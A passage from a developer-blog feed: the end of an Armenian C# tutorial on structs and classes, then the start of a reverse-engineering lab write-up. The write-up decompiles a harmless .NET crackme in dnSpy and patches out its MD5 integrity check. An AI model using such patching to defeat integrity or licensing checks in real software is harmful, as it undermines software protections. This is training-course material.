Հիշեցնեմ, որ &lt;code&gt;Point(double xCoord, double yCoord)&lt;/code&gt; կոնստրուկտորը ներառելիս, մենք զրկվում ենք ավտոմատ ներառվող &lt;strong&gt;գործարանային կոնստրուկտորից&lt;/strong&gt;։ Struct-երում գործարանային կոնստրուկտորի ավելացումը ձեռքով &lt;strong&gt;արգելվում է&lt;/strong&gt;։&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Նշում՝&lt;/strong&gt; &lt;code&gt;struct&lt;/code&gt; տիպի օբյեկտ կարելի է ստեղծել նաև առանց կոնստրուկտորի օգտագործման։ Քանի որ տվյալ տիպն արժեքային է, դրա ցանկացած փոփոխական արդեն իսկ պարունակում է նորաստեղծ օբյեկտ։ Այսինքն, հնարավոր է նոր օբյեկտ ստեղծել և դրա հետ աշխատել հետևյալ կերպ՝&lt;br&gt;
&lt;/p&gt;


&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Հայտարարում ենք փոփոխական առանց արժևորման,&lt;/span&gt;
&lt;span class="c1"&gt;// և այն արդեն իսկ պարունակում է Point տիպի նոր օբյեկտ&lt;/span&gt;
&lt;span class="n"&gt;Point&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;13.0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;1.5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Class
&lt;/h3&gt;

&lt;p&gt;Ժամանակակից ծրագրավորման լեզուներում շատ մեծ ուշադրություն է դարձվում կլասսերին և դրանց հետ աշխատանքին։ Կլասսերը հանդիսանում են struct-երի առավել բազմաֆունկցիոնալ տեսակը։ .NET հարթակում աշխատելիս class-երի և struct-երի միջև գոյություն ունի կարևոր մի տարբերություն՝ &lt;em&gt;class-ը պատկանում է &lt;strong&gt;հղումային տիպերի&lt;/strong&gt; դասին&lt;/em&gt;, այսինքն եթե ստեղծում ենք նոր տիպ, ապա այդ տիպի փոփոխականը պարունակում է հիշողության մեջ տվյալ կլասսի նմուշի (&lt;em&gt;instance&lt;/em&gt;) հասցեն (եթե այն ստեղծված է)։ Այն դեպքերում, երբ հայտարարված է փոփոխական, սակայն ստեղծված չէ նմուշ, փոփոխականը կրում է &lt;code&gt;null&lt;/code&gt; (&lt;em&gt;դատարկ հասցե&lt;/em&gt;) հատուկ արժեքը, ինչը նշանակում է որ այն չի հղում հիշողության մեջ որևէ իրական հասցեի։&lt;/p&gt;

&lt;p&gt;Մեր նախագծում (&lt;em&gt;project&lt;/em&gt;) նոր կլասս ավելացնելու համար անհրաժեշտ է Visual Studio-ում օգտվել &lt;strong&gt;Add new item&lt;/strong&gt; մենյուից։&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--yKE75i31--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/l9soj43mcvghvep9pnp9.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--yKE75i31--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/l9soj43mcvghvep9pnp9.PNG" alt="Նոր կլասսի ավելացում" width="800" height="555"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ինչպես և struct-երը, կլասսերը նույնպես կարող են պարունակել դաշտեր և մեթոդներ։ Դրանք նույնպես օժտված են կոնստրուկտորներով։&lt;br&gt;
Ի տարբերություն struct տիպերի, կլասսերի նմուշի ստեղծման համար &lt;strong&gt;պարտադիր է&lt;/strong&gt; կոնստրուկտորի օգտագործումը։&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Կոնստրուկտորի օգտագործումը պարտադիր է քանի որ, հանդիսանալով հղումային տիպի  նմուշ, կլասսի փոփոխականը պարունակում է միայն օբյեկտի հասցեն, ոչ թե ամբողջ օբյեկտը։ Այսինքն միայն փոփոխական հայտարարելիս (առանց արժևորման), հիշողության մեջ տեղ է հատկացվում օբյեկտի &lt;strong&gt;հասցեի&lt;/strong&gt; պահպանման համար, մինչդեռ իրական օբյեկտը ստեղծվում է կոնստրուկտորի միջոցով։&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Կլասսի հայտարարումը ներառում է &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;class&lt;/code&gt; բանալի բառը&lt;/li&gt;
&lt;li&gt;կլասսի անվանումը&lt;/li&gt;
&lt;li&gt;ձևավոր փակագծերի ներսում, կլասսի պարփակված անդամները&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Visual Studio—ում &lt;strong&gt;Add new item&lt;/strong&gt; գործողությունից օգտվելու դեպքում, կլասսի սկզբնական կոդը գեներացվում է ավտոմատ կերպով և մեզ մնում է աշխատել կլասսի ներքին կոդի վրա (փոփոխականների, մեթոդների ավելացում և այլն)։&lt;/p&gt;

&lt;h3&gt;
  
  
  Ամփոփում
&lt;/h3&gt;

&lt;p&gt;Այս անգամ ծանոթացանք struct և class տիպերի տեսակներին, ինչպես դրանցով կարող ենք ստեղծել մեր սեփական տիպերը և այնուհետև ստեղծել այդ տիպերի &lt;strong&gt;նմուշներ&lt;/strong&gt;։ Հասկացանք թե ինչ է կատարվում երբ հայտարարում ենք մեր նոր տիպի փոփոխական և ինչպես են օգտագործվում կոնստրուկտորները։&lt;/p&gt;

&lt;p&gt;Հաջորդ գրառման մեջ կմանրամասնեմ կլասսերի օգտագործումը, մի քանի կոնստրուկտորների ներառումը և կներկայացնեմ օբյեկտների հետ աշխատող ծրագրերի գրագետ մշակման սկզբունքները։&lt;/p&gt;

</description>
      <category>dotnet</category>
      <category>csharp</category>
      <category>beginners</category>
      <category>armenian</category>
    </item>
    <item>
      <title>Malware Analysis with .NET and Java</title>
      <dc:creator>Narek Babajanyan</dc:creator>
      <pubDate>Sun, 05 Apr 2020 19:21:57 +0000</pubDate>
      <link>https://forem.com/narek_babajanyan/malware-analysis-with-net-and-java-m51</link>
      <guid>https://forem.com/narek_babajanyan/malware-analysis-with-net-and-java-m51</guid>
      <description>&lt;p&gt;This post serves as a write-up of the practical exercises offered in Pluralsight's &lt;a href="https://www.pluralsight.com/courses/dotnet-java-binaries-analyzing-malware"&gt;Analyzing Malware for .NET and Java Binaries&lt;/a&gt; course. &lt;/p&gt;

&lt;p&gt;The course covers tools and techniques for analyzing malicious software developed for .NET and JVM platforms. These tools include&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/0xd4d/dnSpy"&gt;&lt;strong&gt;dnSpy&lt;/strong&gt;&lt;/a&gt; - .NET disassembler, decompiler and debugger. This utility can accept PE (Portable Executable) files as input and uncover the underlying Common Intermediate Language, as well higher level (C#, Visual Basic) code. dnSpy can also function as a debugger.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://bytecodeviewer.com/"&gt;&lt;strong&gt;Bytecode Viewer&lt;/strong&gt;&lt;/a&gt; - a reverse engineering suite (disassembler, decompiler, debugger) for the JVM platform.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  First steps
&lt;/h3&gt;

&lt;p&gt;The first exercise included in this course is a non-malicious program written for the .NET platform, that contains a "flag" - an email address. Disassembling and decompiling the software in &lt;strong&gt;dnSpy&lt;/strong&gt; is as easy as simply opening the Portable Executable file (&lt;code&gt;.exe&lt;/code&gt;) within the program.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--bUAyH-sU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/6cs6avdaovnucnliurfi.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--bUAyH-sU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/6cs6avdaovnucnliurfi.PNG" alt="Project structure" width="298" height="303"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Doing so reveals the structure of the assembly, in a manner visually very similar to Visual Studio. &lt;br&gt;
As we can see, our assembly consists of three projects&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PS_DotNet_Lab1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PS_DotNet_Lab1.App_Code&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PS_DotNet_Lab1.Properties&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;each containing multiple classes.&lt;br&gt;
As first order of business, we should find the entry point of the program. I examine the &lt;code&gt;Program&lt;/code&gt; class and find the &lt;code&gt;Main()&lt;/code&gt; function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="nn"&gt;PS_DotNet_Lab1&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Token: 0x02000004 RID: 4&lt;/span&gt;
    &lt;span class="k"&gt;internal&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Program&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Token: 0x06000008 RID: 8 RVA: 0x0000251C File Offset: 0x0000071C&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;STAThread&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;Main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Verification&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;App_Startup&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;Application&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;EnableVisualStyles&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                &lt;span class="n"&gt;Application&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;SetCompatibleTextRenderingDefault&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="n"&gt;Application&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;else&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;MessageBox&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Try Again :)"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Simply running the program shows a message box with the "Try Again :)" message, which indicates that the &lt;code&gt;flag&lt;/code&gt; variable is initially &lt;code&gt;false&lt;/code&gt;. In order to understand the logic behind this value, the &lt;code&gt;App_Startup()&lt;/code&gt; function (located in the &lt;code&gt;Verification&lt;/code&gt; class) needs to be examined.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="nn"&gt;PS_DotNet_Lab1&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Token: 0x02000002 RID: 2&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Verification&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250&lt;/span&gt;
        &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nf"&gt;create_md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MD5&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;MD5&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FileStream&lt;/span&gt; &lt;span class="n"&gt;fileStream&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;OpenRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
                &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BitConverter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ToString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ComputeHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fileStream&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;Replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"-"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;ToLowerInvariant&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// Token: 0x06000002 RID: 2 RVA: 0x000020C4 File Offset: 0x000002C4&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="nf"&gt;App_Startup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;try&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;Settings&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;Settings&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Verification&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create_md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"PS_DotNet_Lab1.exe"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt; &lt;span class="p"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
                &lt;span class="k"&gt;else&lt;/span&gt;
                &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;catch&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looking at the &lt;code&gt;App_Startup()&lt;/code&gt; and &lt;code&gt;create_md5()&lt;/code&gt; methods, I get the impression that the program is checking its own integrity through an MD5 hash. The &lt;code&gt;Settings.check1&lt;/code&gt; property has &lt;code&gt;DefaultSettingValue&lt;/code&gt; attribute set for a specific MD5 hash. &lt;/p&gt;

&lt;p&gt;Now let's start modifying the code in order to try and bypass these checks. Right clicking anywhere within the method gives us the option to edit it. I simply modify the &lt;code&gt;App_Startup()&lt;/code&gt; method to always return &lt;code&gt;true&lt;/code&gt; instead of the &lt;code&gt;result&lt;/code&gt; variable. After clicking &lt;strong&gt;Save All&lt;/strong&gt;, I create a new version of our executable, with our modified code compiled in it. By running this new executable, I confirm that the hashing checks have been bypassed.&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--miHbMnh2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/l1jqrw8by2ocjeo0dlaa.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--miHbMnh2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/l1jqrw8by2ocjeo0dlaa.PNG" alt="New window" width="557" height="384"&gt;&lt;/a&gt;&lt;br&gt;
Clicking the &lt;strong&gt;Authenticate&lt;/strong&gt; button introduces an attempt counter. Before I run out of valid attempts (after which the program never launches again), I look at the &lt;code&gt;Client&lt;/code&gt; class, which contains the main callbacks of the Windows Forms application. I specifically pay attention to the &lt;code&gt;button1_Click()&lt;/code&gt; method.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Token: 0x06000004 RID: 4 RVA: 0x000021A0 File Offset: 0x000003A0&lt;/span&gt;
        &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;button1_Click&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;object&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;EventArgs&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Authentication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isAuthorized&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txtOutputLog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;AppendText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid Attempt - You have "&lt;/span&gt; &lt;span class="p"&gt;+&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;maxAttempts&lt;/span&gt; &lt;span class="p"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" attempts left\n"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;flag2&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;maxAttempts&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="m"&gt;0U&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="n"&gt;RegistryKey&lt;/span&gt; &lt;span class="n"&gt;registryKey&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Registry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CurrentUser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;CreateSubKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"PS_DotNet_Lab1"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                    &lt;span class="n"&gt;registryKey&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;SetValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Challenge1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                    &lt;span class="n"&gt;registryKey&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                    &lt;span class="n"&gt;Application&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Exit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
                &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;maxAttempts&lt;/span&gt; &lt;span class="p"&gt;-=&lt;/span&gt; &lt;span class="m"&gt;1U&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;else&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txtOutputLog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Clear&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lblMessage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Text&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"You got it! "&lt;/span&gt; &lt;span class="p"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Authentication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;returnEmailAddress&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                &lt;span class="n"&gt;RegistryKey&lt;/span&gt; &lt;span class="n"&gt;registryKey2&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Registry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CurrentUser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;OpenSubKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"PS_DotNet_Lab1"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;flag3&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;registryKey2&lt;/span&gt; &lt;span class="p"&gt;!=&lt;/span&gt; &lt;span class="k"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="p"&gt;{&lt;/span&gt;
